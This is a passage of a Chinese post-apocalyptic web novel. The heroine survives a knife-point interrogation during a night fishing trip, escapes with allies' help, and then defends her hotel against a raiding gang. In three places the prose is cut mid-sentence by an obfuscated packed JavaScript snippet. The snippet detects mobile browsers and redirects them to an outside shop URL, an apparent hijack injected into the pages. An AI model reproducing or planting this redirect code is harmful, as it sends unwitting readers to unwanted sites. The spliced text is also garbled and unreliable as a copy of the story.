何莱迅速换掉睡衣，准备出门去看看情况，她有一种强烈的直觉，那或许是吴亓要回来了。 但是拉开房门，有人牢牢地站在门口，挡住了全部出去的路。 “曹队长......？”何莱皱起眉，自从这位疑心深重的巡逻队长开始频繁出现在她的附近，她已经开始习惯他的随机刷新，但今夜这样的情况确实让人不适。 “白天说好了，我去搞到了装备，来带你去钓鱼。”曹麦还是白天那套黑色劲装，一天下来有点脏了，沾了些泥土。他微微侧身，露出肩膀上的钓鱼包，两根鱼竿顺着背包的拉链探出头来。 “哇，我也要去！”冬青两眼发亮，小小地欢呼一声。 “你不许去。”何莱回头看她一眼，又望向窗外：“听声音，是吴队长他们回来了吗？我想先见吴亓。” “不是他们，是另外的小队。”曹麦往屋子里迈进一步，初见时的压迫感再一次出现在他的身上：“怎么，你不想去？”他打量一眼何莱身上的白衬衫：“你还真是爱穿正装。怎么这么晚了，还一副要出门的样子？” “呃......”何莱强烈的危机感再次浮现，往后伸了伸手示意冬青，挡住小姑娘的身影。后者心领神会地将那把蓝色蝴蝶刀递到了她的手上。 何莱往袖子里一收刀，思索片刻才耸耸肩：“去也行。正好给冬青钓一点炖鱼汤。” 曹麦正紧盯着她，闻言后面色稍缓，从口袋里掏出了一朵花递过去。 “......”何莱一时之间有些反应不过来，几乎称得上是目瞪口呆。 “这是......？”她举起手指，干巴巴地发问。 曹麦往旁边偏了偏脸，耳廓露出一丝可疑的红晕，正好在走廊的灯光下被照得透亮，面色有些尴尬。 “路上顺手，看到了就摘过来给你。”他说完将花强硬地塞进何莱手中，转身离开：“不用带武器，我在楼下等你。” 何莱低头望向手掌中皱巴巴的野花傻了眼。 搞半天这位曹队长已经大步向前迈，从敌对试探进入了约会试探阶段，只剩下她在原地独自警钟长鸣了么？ “姐姐。”徐冬青摇了摇她的手。 “嗯？”何莱扭头。 “要小心。”徐冬青的小脸紧绷。 “好的，我知道。”何莱摸了摸她的脑袋。的确是要小心，这或许又只是一招让人放松警惕的套话技巧。 曹麦静静地站在旅馆的大门口等着她，何莱走到他身边，望见面前一片漆黑的夜：“白天不能钓吗？” “......刚搞到装备。”曹队长说，他想了一会儿，试探性地拉起何莱的手：“今晚没有月亮，天黑看不见路，我带着你走。” “......”何莱也跟着沉默，她还没搞清楚今晚这出的到底是哪一招，难道这年头情报工作人员都敬业到这种奉献程度了么？ 她被曹队长牵着走了很远的路，对方的手掌干燥温暖，在凉爽的夜间倒不让人觉得难受。每一个岔路都传来恰到好处的力量，指引着她往正确的方向走。 “闭上眼睛。”曹麦忽然停下脚步说。 “嗯，闭上了。”何莱睁着双眼，毫无负担地开口胡说八道。 “小心脚下。”曹麦没有回头，牵着她往山下的小径拐角走，何莱真的看见一片小型湖泊，与头顶星空还有四散的萤火虫一起，勾勒出一副美轮美奂的浪漫图景。 见曹麦转头，她立刻闭上眼。 曹队长的眼神里有过一丝犹豫。很快他牵着何莱到了湖边，在一条小船旁边驻足停步。 “到了。”他把音调放缓，轻轻拍了拍何莱的肩膀。 “哇......”何店长也配合地发出一声感叹。接下来的偶像剧情节好像他们都很熟悉，拎着包前后上了船，曹麦拿起唯一的船桨，带着小船划至湖面中央。何莱调试着钓鱼竿，她心中那强烈的熟悉感再一次浮现，仿佛已经做过这个动作千百遍，检查鱼线，安装鱼饵，确定位置，抛竿入水，调整漂浮，然后等待。 一抬头，她望见曹麦看着她的眼神。 平静却又深沉。 “你......”何莱刚想说末日时代，感情有点来得太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571883|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快，但她不是速食主义者，就被曹麦开口打断了。 “突然很好奇，离开希望基地以后，你们就一直待在一起吗？” “啊？我和冬青还有吴亓吗？”何莱说：“对。” “嗯。”曹麦看着她的眼神逐渐变得严肃：“吴亓，我有点介意他。在希望基地里，他也一直一个人和你们待着吗？” “嗯......邻居之间互相照应，没什么吧？”何莱点头。 小船已经到了湖的中央，曹麦放下船桨。他望着她的眼睛，直起身缓慢地朝她靠近，几乎要近得能听见彼此的呼吸，何莱保持着镇定。 “所以，他一直独自和你们待着？”曹麦的眼神里带着笑意，像是要鼓励何莱说要去，又像是索求一个答案。 何莱点了点头。这是他们之前说好的方案。 下一秒曹麦动了，猛抬手肘抵在何莱下巴，结结实实地将她摔在船上，一把匕首从她的脖子上滑了过去，留出一道血痕。 “我就知道你有问题。”他的眼神不再带有任何笑意，冷淡得像是淬了冰：“吴悠受伤了。至今还在昏迷，她的副官套了你邻居的话，吴亓有个母亲，之前和他生活在一起。”他又往下压了压刀子，话里话外都是笃定的定罪口吻：“你的所有信息整合起来，并不能凑出一个完整的故事。”他眯起眼睛看何莱：“你和吴亓都是这样，答案相同，但都不完整。”他用膝盖压住何莱挣扎的左手，在听见痛呼后毫不留情地继续逼问：“你们来自哪个基地？潜入我们这里有什么目的？是又打算在水库里下毒，还是在科研室放火？” 何莱内心大为震撼，甚至一度停止了挣扎。 她想了想，小心地问：“你们之前都遭遇过这些事啊？” “别废话，老实交代！”曹麦冷喝一声，显然懒得答理她的提问。在遇上专业情报人员时，何莱深觉此前与吴亓制定的计划不够详尽，此刻还能活动的右手袖口里紧贴着肌肤的蝴蝶刀散发着冷意。倘若她不管不顾地突然袭击——或许能够解困，但很有可能需要杀死曹麦。 要这么做吗？何莱眨了眨眼。要为了再把酒店隐瞒得久一点，为了不招致“可能到来的危险”而在永恒基地里杀人，甚至是刚熟络起来，以为可以成为朋友的曹麦吗？ 不知道为什么，她缓慢地停下了挣扎，静静地抬起眼看着他:“我不是任何组织派来的。我们只是希望基地残留的求生者，吴亓过来是为了找人。等吴悠醒来你就可以确定这一点，之前没有说是因为我不想在没定论之前惹麻烦。等吴亓找到了他的家人，我就要待着冬青离开了。” “离开之前，你们要完整交代自己的身份。”曹麦说：“比如从哪里得到的信息源，这么精准地找到这里？别告诉我是道听途说。” “事实上，在来到这里之前，我们已经去了很多地方，走了很远的路。”何莱的眼神有些疲倦：“我无意与你为敌。你瞧，我的右手袖子里有一把蝴蝶刀，如果我真的想要做点什么，就应该急于脱身，直接往你身上捅了。”她和偃月刀绑定在一起的形象太深，让曹麦下意识地看见空手就没有搜身。 此刻闻言，他俯身探过去摸到那把刀，迅速地收缴。期间为了身体平衡，稍微抬起了压着何莱左手的膝盖，抵在她脖子上的刀也不那么紧绷，注意力全被何莱主动供出的武器给转移了。 “我真的不想伤害你。”何莱的语调真挚温柔。 就是现在！何莱迅猛地顶起膝盖，重击在曹麦的腹部，左手抽出之后用胳膊护住自己的脖子，快速将匕首一路上抬——虽然刮出了不少血痕，但脱离性命之忧，随后她举起船桨，就像这些天来熟练地挥舞着那把偃月刀一样，迅速地将曹麦从船上捅了下去。 “你......!”曹麦大惊，被呛了好几口水，眼神一沉就要重新往船上扑去，被何莱精准地挥舞着木头船桨打了几下脑袋，用力毫不留情。 她捂着还在渗血的脖子，冷笑一声：“现在我们可以开始谈谈了。” 23. 母鸡、绵羊和蜥蜴进行曲23 “......你想谈什么？”永恒基地里那位从来都因谨慎出名的曹麦队长狠狠擦了一把脸，他从头发到全身都彻底湿透，此刻泡在湖中踩着水，紧盯着何莱手中的船桨——这确实是个失误，他的注意力全放在真正的武器上，一时不察，竟然被这个毫无格斗技巧的疑犯给直接捅下了船。要是让巡逻队里的那帮兄弟给知道...... 他闭了闭眼，调整呼吸，重新接受了现状，平静地抬起头与何莱对望，等待此刻占据了主权的人发话。 “在吴队长醒来之前，不能再对我们出手。”何莱挥舞着船桨谈条件，毫不留情地打在曹麦悄然接近的身影上：“别想着偷袭了。我对你们基地不感兴趣，等她醒来我就离开。” “那也得等交代清楚了再走。”曹麦同样寸步不让：“我们永恒基地也不是什么随意出入的地方。你交出你的信息源头，是谁告诉你们永恒基地里的事情，再指明你们之前待的地方——不是那个希望基地。”他猛地向前一扑，想要掀翻这只小船，被何莱用船桨在脑袋上打了几下。 “曹队长，我看是你没有搞懂现状。”何莱好笑地看着他：“别以为在末日里扮演老大哥久了，就真的有资格命令你遇见的每一个人。现在是你泡在水里，我可以一直不让你上来。”她望着在水里扑腾的曹麦：“如果我打得再狠一点，你很快就会头晕或者受伤，再不然，泡在冷水里很消耗体力吧？我有一整个晚上可以和你耗下去。”她好整以暇地坐下，抱着船桨开口：“水底会不会正好有被水草困住的丧尸，正在努力够着你的双脚，我也不清楚。” 曹麦被她说得一阵毛骨悚然，下意识地往上蹬了蹬腿，随后望着这一片洒满月光的湖面，很安静，夜晚不会有人前来。他又看向坐在小船上的何莱，面无表情：“这么看来，我是被自己的安排给摆了一道。” “嗯哼。”何莱点点头。 “但你就没有想过，我既然要逼供，难道会放过你带来的小朋友？”曹麦忽然对她笑了笑，被打湿的头发还挂在额头，他不以为意地耸耸肩膀：“徐冬青，是吧？多亏你将她留在旅馆。” “......”何莱握住船桨的手捏紧了，随后她站起身，开始默不作声地用船桨痛殴曹麦。无耻！ 曹麦发出一阵闷哼，伸手试图抵挡几下，紧抿着唇，眼见着劈头盖脸的攻势越发密集，终于抓住时机，抬臂用力抓过船桨一端往水里拉扯。终于让他等待何莱平衡不稳的时候，扯着那把船桨将全身的重量都往下压去，快速地将她拖向船边——何莱紧紧绷着小腿抵在船缘对抗他的爆发力，二人僵持几秒，随后不出所料地，船，翻了。 曹麦迅速地将何莱拉至身前，用小臂将她死死禁锢在怀中，那把匕首再一次地就想要架回她的脖子。何莱心里一急，不管不顾地向后肘击，双脚也没命地往后踹去，不偏不倚地踹上曹麦小腿。 “嘶...！”她听见耳旁传来一声抽气音，又硬生生被抑住，随后何莱就察觉到架着她的男人忽然变得僵硬沉重，整个人猛地带着她向下坠去。 “哇靠——咕噜！”何莱猛地呛了水，急忙趁乱挣脱，回头去看时发现曹麦已经面色痛苦地沉入水下，又猛地浮起，再一次缓缓下沉。 “真有丧尸啊？！”她猛地游起来，又看见曹队长双手划着水用力挣扎，看表情也很像是......抽筋了？ 何莱叹一口气，连忙游上刚才那被掀翻的小船，用手划着水靠近也正漂浮在水面上打转的可怜船桨，费力地捞起来。 曹麦还在原地折腾，但是看起来逐渐要脱力了。 何莱站起来，拜那疑心深重的家伙所赐，她现在全身上下的衣服都在滴水，头发也黏在脸上，居高临下地看着曹麦眼里闪过的一丝慌乱，最终还是叹了口气。 “抓住，我拖你上来。”何莱向他伸出船桨：“然后我们就尽快离开，没得商量了。” 曹麦立刻抓住那把船桨，这一次他没有再刻意捣乱，于是何莱很顺利地将他缓慢拉至船边，费力地架着对方胳膊，半抱半拖地将他弄上来。 曹麦浑身湿透地躺在船上，脸色苍白，他睁着双眼休息，看起来狼狈极了。也不说话，就这么盯着星空中四处飞舞的萤火虫，和擦身而过的死神。 何莱也沉默地划着船，重新慢慢地靠近岸边。 “你现在能动弹了吗？”她扭头问曹麦，后者正在艰难地尝试起身，闻言抬眼看一眼何莱。经历了刚才生死斗争的女孩此刻的脸色也很差，头发乱七八糟地挂在脸上，白衬衫紧贴在身上——他迅速转开目光。 “......可惜了，如果不是这种情况，我们本来可以做朋友的。”何莱说，她是真的感到有些遗憾。随后丢下船桨，率先上了岸。双脚重新踩在坚实地面上的感觉带来一阵劫后余生的如释重负，她轻轻叹了口气，转身就准备离去。 “等等。”曹麦再度开口。 “又怎么了？”何莱皱起眉，不耐烦地转过身。 下一秒，她感到一阵强烈的电流穿过全身，从指尖到胸前都在发麻，眼前忽然黑了下去。何莱失去意识，倒在地面。 同时，刚坐起身的曹麦也被一颗冰晶砸中脑门，他睁大双眼不可置信地摇晃几下，再度向后倒去，紧随着何莱一起晕了过去。 “放心，我能控制电流的程度，不会死人。”身材高挑的短发姑娘从阴影里的山林里走出，嗓音清冷，语调却很温和。她半回着头像是在对身后的人解释。 “嗯。”和她差不多高的少年走了出来，还牵着一位小姑娘，手中凝结着一块锋利的冰刀，在走近确认曹麦的确晕过去以后，吴亓收起了异能，接过妹妹吴悠抛过来的行李。 “我只能送到这了。山后绕行，你们可以回到大路上去，找车离开。”吴悠语调飞快，瞥了一眼披着毯子的徐冬青，显然吴亓已经介绍过了同伴们。她犹豫片刻，伸出手想要抚摸冬青的脑袋，却还是收回了手，随后望向吴亓的眼睛：“就按我们之前说的那样行事。快走，等会来不及了。” “嗯。”吴亓看一眼她，眼里的担忧和不舍太过明显：“你真的不能跟我们走？” “不行。”吴悠毫不犹豫地回绝了他：“......路上小心，哥哥。” 她依依不舍地给他们指了路，吴亓背着何莱，把行李全挂在昏迷的何莱身上，牵着冬青往山后走去。 吴悠则走到小船边，叉腰望着昏迷中的曹麦，想了想还是蹲下去，将这位同僚队长一把抱起来，费劲地往基地里走去。 异能觉醒之后，体力都会有相应增幅。这对兄妹就这样带着各自的伙伴，往属于自己的阵营方向走去。 何莱昏迷了接近三个小时。等她再度惊醒时，发现自己在摇晃的汽车后座上。车里开了暖气，热烘烘的，一旁冬青的小脸也被吹得发红。何莱摸摸自己的衣服，已经快干了，身上还披着徐冬青最珍惜的小毛毯，她心下一软，从毛毯里伸出手来捏了捏小姑娘的脸，又对着驾驶座的吴亓开口：“谢谢。”她听见自己的嗓音沙哑，意识正在缓慢回笼。 何莱眨了眨眼，记忆停留在昏迷时的那一瞬，她回想着被电流击中的感觉，最终开口问道：“找到了你妹妹？” “嗯，找到了。”吴亓看起来也不是心情很好，虽然心里的石头落下，但眉头依旧紧皱。 “为什么她不跟我们离开？”何莱坐起身，费力去够前驾驶座的背椅，看清汽车正在行驶的土路被前照灯不断照亮：“这是回酒店的路？” “嗯。”吴亓点头，想了想，随后以平淡的口吻告诉她：“我父亲在之前的尸潮里......”他又停顿一下，像是努力维持平稳的语调，继续补完整个句子：“牺牲了。” “......”何莱低下头。 “这正是我妹妹留下来的原因。”吴亓看向前方的道路，眼神却有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571884|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些茫然：“她说是永恒基地的军队高层决策，一整个非异能者任务执行小队，都在撤退中被放弃了。” “......碰巧是你父亲所在的队伍。”何莱试探着开口。 “她说还在调查。这项行动很快就被掩盖加密，军队内部避而不谈。只知道——放弃他们，是曹大队长下的命令。” “曹麦？” “不，是他的叔叔。”吴亓开着车，表情比来时的路更沉寂：“曹翼禾，大队长，那次尸潮来临时的基地总指挥，能对所有异能者小队和其余小队下令。” 何莱再度保持了沉默，她不知道该说些什么。 最近发生的事情实在太多了。 最后是吴亓主动打破了沉默。 “回去以后，就和我妈说我妹妹和父亲都在永恒基地待了一阵，登记身份后离开了。”吴亓嘴里一阵发苦，但依旧坚决地说了下去：“让她觉得我爸还活着，能在末日里照顾吴悠，会放心一点。” 吴亓揉揉鼻子，自嘲地笑了笑：“如果她知道吴悠一个人在永恒基地，当天就能直接杀过去。再知道我爸的事情......” 徐冬青小心翼翼地伸出手，拍了拍他的肩膀安慰。吴亓回过头来，对着小姑娘笑了笑。 何莱揽着徐冬青，一起望向窗外漆黑的路。过了很久她才开口：“不止你要复仇，你妹妹也想这么做。” “我理解她，所以我不会破坏她的计划。”吴亓转动方向盘：“否则我这个做哥哥的，不仅帮不上忙，还要拖后腿，也太没用了。” “那为什么不留在永恒基地？”何莱挑眉：“还相互有个照应。那对姓曹的叔侄实在烦人，我也有点担心吴悠......她要怎么应付盘问？” “她会没事的。”吴亓直视前方：“你的酒店里有我妈妈和那些老人们。况且......”他握紧方向盘：“还有超市的那一群人。我会像吴悠一样——做好准备，等到可以复仇的那一天。”他表情凝重，废了很大的劲才说完：“之前，是我冲动了。店长。” 他在经历了这几天的任务和与妹妹的谈话之后，显得沉稳很多。 何莱揉了揉他的脑袋，随后打了个喷嚏，捂着发晕的脑袋，瓮声瓮气地回答：“你已经做得很好了。”她忽然想到了系统。 系统之前也爱这么和她说话，鼓励在末日之中迷茫不知所措，只能一步一步试探着往前走的新店长。 “吴悠和我演了一场戏，最后会把所有的怀疑都落到我们身上，她去扮演那个救了曹麦的人，这样就能在永恒基地继续待下去。”吴亓说：“我们这次外出任务，救了一些新人回来，是其余小型基地里的人，他们能拿到永恒基地的求救信号很不正常。永恒基地很快会分散注意力调查他们，吴悠也会准备好一套不知情的说辞来应付曹麦与曹翼禾。” “我在这个故事中扮演穷凶恶极的反派，对吧？”何莱说。 “我带着冬青过去的时候——正好看见你拿着船桨迅猛攻击曹队长，这角色非你莫属了。”吴亓抬了抬眼：“他和吴悠以前的关系不错。希望我妹妹能稳住他，你没和他说太多吧？” “......”何莱想了想：“我提到了你是她哥哥，你在吴悠的副官面前提到了你的妈妈，害我露馅被曹麦威胁半天，我们扯平了。” 她抬手摸了摸脖子上的血痕，指尖擦过的皮肤立刻传来一阵刺痛，鲜明地提醒着她几个小时前的遭遇。 无可避免地再度想起曹麦，何莱忍不住叹了口气。 “在无法改变现状的时候，我们只能隐忍。”她开口，像是在形容吴悠，又或者宽慰吴亓，也像是在对着自己做指导意见，面色凝重：“回去以后，我们要尽快发展酒店。在末日里，实力才是最重要的，不然一切都太被动了。” 吴亓的面色同样也不好，闻言点了点头，语气坚定。 “我会尽力协助你。” 24. 母鸡、绵羊和蜥蜴进行曲24 翡翠酒店。 “谢柯！谢柯抓住它！”许在杉紧追在一只扑腾高飞的母鸡身后，他的姐姐许约棠提着一把青霜细剑，无奈地站在菜园子里看着那边的鸡飞人跳，一派过分祥和的热闹光景。 负责拦截追堵的谢柯抡起手上的棒球棍，对准鸡脑袋跃跃欲试。 “这又是在干什么？”从楼上走下的王守诚擦着脑袋，刚洗完澡。他今天带着双百百一行姑娘三人回到希望基地，从那些已经无人留存的居民楼里收集了一些日用消耗品和少量的食物。店长不在的日子里，他们一群人相互支应，加上留在冰箱里的便当，勉强维持着酒店的正常运转。 一辆灰色小轿车甩着弯儿在酒店门口停下，引来聚集在大厅闲聊的众人们一愣。 “终于回来了吗？” 何莱下车走进门的时候，王守诚和系统的声音同时响起。 倩姐也从沙发上站起来，连忙赶到门口。距离他们出发已经过去了快十天，酒店里的氛围俨然比最初要熟络融洽得多，看来彼此都有了交谈和进一步接触。 不少人有了自己的朋友。 徐冬青从车上一跃而下，没忘记带着那条蜥蜴，快速跑进了酒店，跳上大厅的软沙发，来回打了几个小滚。 “冬青，冬青，你得去洗澡了。”双百百半趴在沙发上，低头戳戳她的脸颊：“你看看，都能搓泥了。” “一会儿就去！”徐冬青继续平摊在沙发上一动不动。汽车颠簸把她累得够呛，终于回到了熟悉放松的酒店里，对她而言像是出趟远门回到“家”里的亲切，此刻赖在沙发上与围上来的大人们有一搭没一搭地闲聊着。 王守诚看一眼性格逐渐开朗起来的小姑娘，颇为欣慰。 “......妈。”吴亓神色有些挣扎，下了车拎着尼龙袋：“兑换了那张没满存的晶核卡，买了些种子，晚点我去后院种下去。”他拖着另一个袋子：“这是给大家带的永恒基地特产。”许约棠和许在杉连忙过来帮手。 “你妹妹呢？”倩姐急忙问：“还有你爸爸——” “我没有找到他们。”吴亓说：“永恒基地里有一套登记居民信息的模板，我查找过登记簿，他们三年前来过基地，去年就离开了。听基地里的人说，他们过得不错，吴悠也觉醒了异能。”他点点头：“电系的，攻击力很强。” “去过基地，那就好、那就好！”倩姐抓紧了吴亓的手臂，表情里又有喜悦也有失望。喜的是女儿和丈夫并未死在末日突然爆发的危机里，并且还觉醒了保命的强力异能。同时也失望于与他们再次擦肩而过。最终倩姐什么也没说，拍了拍吴亓的手臂：“回来就好，一切都好。” 何莱走过来，又掏出剩下那张存满的晶核卡：“倩姐，这是剩下来的。我没带回吴悠，你拿着吧。”吴亓在出发执行任务前将晶核卡都留了下来，但她除了采购酒店物资之外都没有再碰过。 倩姐看着她点点头，将还带着温度的卡攥紧在手心。 吴亓望着自己的母亲，突然察觉记忆中永远强势的那个女人已经在不知不觉中开始衰老。 这三年倩姐苦苦维系着疗养院，一方面顾及老人，一方面寻找自己的家人，的确耗费了很多心力。 “妈，回去吧。”吴亓上前一步，揽住母亲的肩膀：“等你养好身体，店长答应我再帮忙继续去外边找妹妹......和爸爸。”他扶着倩姐往楼上走，回头看一眼何莱。何莱对着他点了点头，看起来这些天倩姐恢复得不错，已经可以正常讲话，就剩下一些虚弱的后遗症，或许是还没有从疗养院的惨剧中缓过来。 “他顺杆子往上爬的能力还真是与你旗鼓相当。”系统在何莱耳边说：“非要去碰这个钉子，现在满意了吧？” 系统与何莱分别许久，此刻喋喋不休：“你已经劝好那个冲动的男孩了吗？不要这么快就与超市开战？” “对。”何莱在心里说：“其实这小孩挺好说服的。” 老人们看完了冬青，又围上来看正在接受葛爷爷治疗的何莱，那边的社畜三人组牵着糖糖也来了，双胞胎更是上下打量着她，格外担忧脖子上显眼的红痕血迹。 何莱终于和逐个迎接自己表达关切的客人们打完招呼，才回到自己房间，脱掉沾满灰尘和汗水的衣服，走到淋浴间里，随口问着系统：“我不在的时候，大家都还好吧？” “好啊。好的不得了。”系统说：“你那只母鸡菲菲有好几次都差点被杀掉。” “不说动物了，说人，大家怎么样？”何莱摆摆手。 “训练都很刻苦。葛爷爷的身体也好了不少，前阵子还跟着那两个小姑娘出门喂羊呐。”系统絮絮叨叨：“姓梁的一直想给你的酒店做个大改造，我看她很上道。等你哪天死外边了，我就提拔她做下一任店长。” “倩姐呢？”何莱似乎是随口一问。 “恢复良好，你刚才不是看见了吗？”系统说：“你特别关注她，是因为害怕被她夺权，反过来掌控这里吗？”系统开始恶意揣测。 “她强势只是因为需要镇住疗养院那群异心的成员。”何莱关上淋浴头，快步迈出来拿毛巾：“从吴亓身上就能看出来，倩姐从前的性格或许不是这样。”她手上动作不停，套上宽大的睡衣，对着弄脏的白衬衫与西装裤打个响指：“再说了，那群老人是我们相信彼此的原因。倩姐不会在这种时候想不开生事的。” “你自己有成算就行。”系统默契地收起她的脏衣服，语气忽然放低，像也跟着如释重负：“店长，你不在的时候我简直殚精竭虑。生怕出什么事把酒店整没了，到时候结算要变成我的错。” “……我们之间还真是令人感动的同事情谊。”何莱扯了扯嘴角爬上床铺：“既然所有事情都告一段落，接下来我就打算安心发展酒店，争取再找到三位客人，等到下次升级……”她还未开始畅想未来生存空间，就被系统再响起的声音给打断。 “店长，店长，大事不妙。” 系统的声音忽然变得严肃起来，在它又快又急开口的时候，大厅外也传来了嘈杂的几阵声响，随即立刻就响起王守诚和许约棠的怒呵声，像是想要逼退什么人。 “在你回来之后我就取消了单向镜，时间太长我也会被主世界发现。”系统的声音甚至开始有了紧张和颤抖：“你恐怕要起床了，店长！超市的人……找过来了！” 何莱睡衣也来不及换，跳下床就火速冲出房门，发现那对魁梧凶蛮的双胞胎兄弟正挡在酒店大门外。姓张的火系异能者翘着二郎腿坐在沙发上，一旁的吕姓军师大摇大摆地背手在大厅里晃荡，扬着嗓子冲王守诚叫道：“把你们当家的叫出来！” “哟，这不是我们超市里的人吗？”张荆眼睛一眯，盯着王守诚背后的许约棠看，冲她招了招手：“吃得不错啊？都长胖了，过来我看看。” “你认错人了。”许约棠紧绷着脸，提剑的手藏在身后，有一丝克制不住的颤抖。王守诚伸手挡住她，上前一步：“我隶属于希望基地的护城军团，她是前基地成员，现在正受基地庇护。”王守诚语气冷硬，板着张脸对上异能者，也毫无退意。 “哈哈！希望基地！” 像是听到了什么荒谬的笑话，王荆带着那双胞胎兄弟一起狂笑不止，拍着肚子前俯后仰，放肆大叫起来：“骗鬼呢不是？希望基地早就没了！” 吕田广的小眼睛一转，今日出行，他们本来是要排查附近还没被收缴彻底的幸存者团队，想再搜刮更多物资，没想到竟然撞上意外之喜。他的眼睛瞥向缩在前台底下露出半个屁股的绵羊，肖恩不安地又转个圈，吕田广大步往它的方向走出两步，脸上的笑都快藏不住，他的脚步越来越快，何莱连忙一脚跨出横在前方：“你干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571885|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “你谁啊，敢对老子大呼小叫的？滚一边去！”吕田广蛮横惯了，丝毫不把何莱放在眼里，伸手就要去扯她的胳膊，抬起腿一副熟练的踹人姿势。 下一秒他却发出惨叫。 “啊！混账！” 何莱站在原地，看着吕田广被头顶凝结的冰块给狠狠砸中，在她面前倒下。吴亓出手了。 王荆站了起来，双胞胎兄弟中留着胡子的那位也迅速掏出手枪，警惕地看着从楼上走下的吴亓。 “那把手枪，是我妈的吧？本来还想着要去哪里找你们。”吴亓冷冷地望着这四个败类：“既然都送上门来了……” 双胞胎兄弟对视一眼，让开一步，门口处涌进七八个拎着武器的男男女女，走进酒店大厅以后望着这些天来被众人擦拭爱护整洁的陈设，再看一眼楼梯，全部流露出一副贪婪表情。 “老大，他们生活这么好，肯定有不少东西！”不知道是哪个喽啰迫不及待地开口怂恿道：“您拿下它，以后也能待得舒舒服服的。” “说得好，这地方不错。我要了！”王荆冷笑一声，往前踏了一步，让这些天来一直被追赶得不耐烦的母鸡勃然大怒，冲上去啄他的皮鞋，被拎起翅膀在空中扑腾。 “菲菲！”何莱望着王荆举起右手，燃烧的火焰在空气中凝聚，这混蛋要用她的宠物鸡做下马威。 而系统此刻安静得就像那只呆住的鸡一样。 “放开！” 一颗冰弹精准地打上了王荆的掌心，吴亓依旧站在楼梯上，许在杉提着自己的踩到飞快地跑下楼梯，站到了王守诚旁边，回头给姐姐一个让她安心的眼神。 老人们被倩姐聚集在一起，葛爷爷带着三个小姑娘从菜园里出来，一时之间，酒店大堂里的气氛凝重，两方队伍对峙，打量着彼此估算底细。 “系统？hello系统？”何莱急了。 系统依旧无响应。 如同上帝拨动按键，战争一触即发。 “小王八羔子！” 方洪掏出手枪，对准台阶上的吴亓扣动扳机，后者急忙挥手凝结冰盾。王荆丢下母鸡，再次点起双手火焰，想要冲着何莱而去，却被直冲过来的许在杉撞翻在地。许约棠长剑出鞘，与王守诚一起抵挡冲过来的那几个喽啰，何莱望着队伍末尾那个朝着自己举起弓箭的家伙，迅速蹲到前台下，与同样躲藏的绵羊对视。 “刚才处理了点事情。我回来了。”系统突然在耳边发声，反而吓得何莱一抖。 下一秒，那把偃月刀出现在何莱手中，配套的还有之前她从未在酒店里见到的蟑螂克星喷雾。 “上吧店长！冲冲冲！” 系统语调激昂地开始扮演拉拉队员，为她鼓劲。 不远处的绵羊惨叫，逃出前台之后，一支箭精准地射中了它的屁股。谢珂挡在葛爷爷面前，双百百惊慌失措之余，拆了个台灯握在手上。 梁画还拿着她原本的的武器，迅速掏了出来。“你跟我走。”谢珂带队，两人冲了出去，挡住那几个快要上楼的。另一边吴亓与许在杉两人配合，勉强抵挡着王荆的攻势，他们身后的王守诚和许约棠拦住了不少人，同时店长抱着高昂尖叫的绵羊正在用空降扫帚的战术......呃，确实也砸晕了两个，但很快引起了对面的注意。何莱甩了甩手中的喷雾，毫不犹豫地对着军师身旁的两位打手眼睛滋了过去。对方双双发出一阵惨叫，被横空出现的一块抹布给抽了几巴掌。 “老大！这有空间系！”吕田广迅速发现了端倪，又指着还留在一楼帮着王守诚止血的葛爷爷一挥手：“那老不死的也有异能！方洪方涛，过去！” “兄弟姐妹们！砸啊！”从楼梯上冲出来的蓉姨带着那群老人小孩，或握或抱着二楼客房里的台灯和椅子往下扔，就连倩姐也将削尖了的筷子用力投向王荆的眼睛。 25. 母鸡、绵羊和蜥蜴进行曲25 “管家！你刚才去哪了？”何莱在一片混乱中举着偃月刀乱戳对面的打手，一边看着在空中浮现猛烈击打那几位的扫帚和拖把不断发出噼里啪啦的声响，一边将绵羊和母鸡都用力地往前台桌下塞了塞。 随后大厅里传来两声连续的枪响，何莱心中一惊，连忙抬头察看，王守诚腹部中弹，扶着墙站立不稳，眼看着就要被一个提砍刀的女人给劈过去。 “他妈的！”何莱拔腿起身，穿过整片大厅往那边赶去，扫帚和拖把飞旋在空中为她护航，打翻前来拦截的超市成员。 方涛本就恼火今日出行带的人手不够，只是在巡逻中意外发现酒店，并非有备而来的攻打，因此没能像往日那样迅速地压倒性碾碎那些被他们盯上的小领地。于是他一把抢过手持弓箭射击的成员武器：“滚开，废物！”他拉满弓弦朝着王守诚胸口齐射三箭，除了异能者外，那受过军队训练家伙是个大麻烦，得先解决。 “王叔小心！”何莱纵身一跃往前扑去，想要打断那个大块头带着杀意射出的箭。 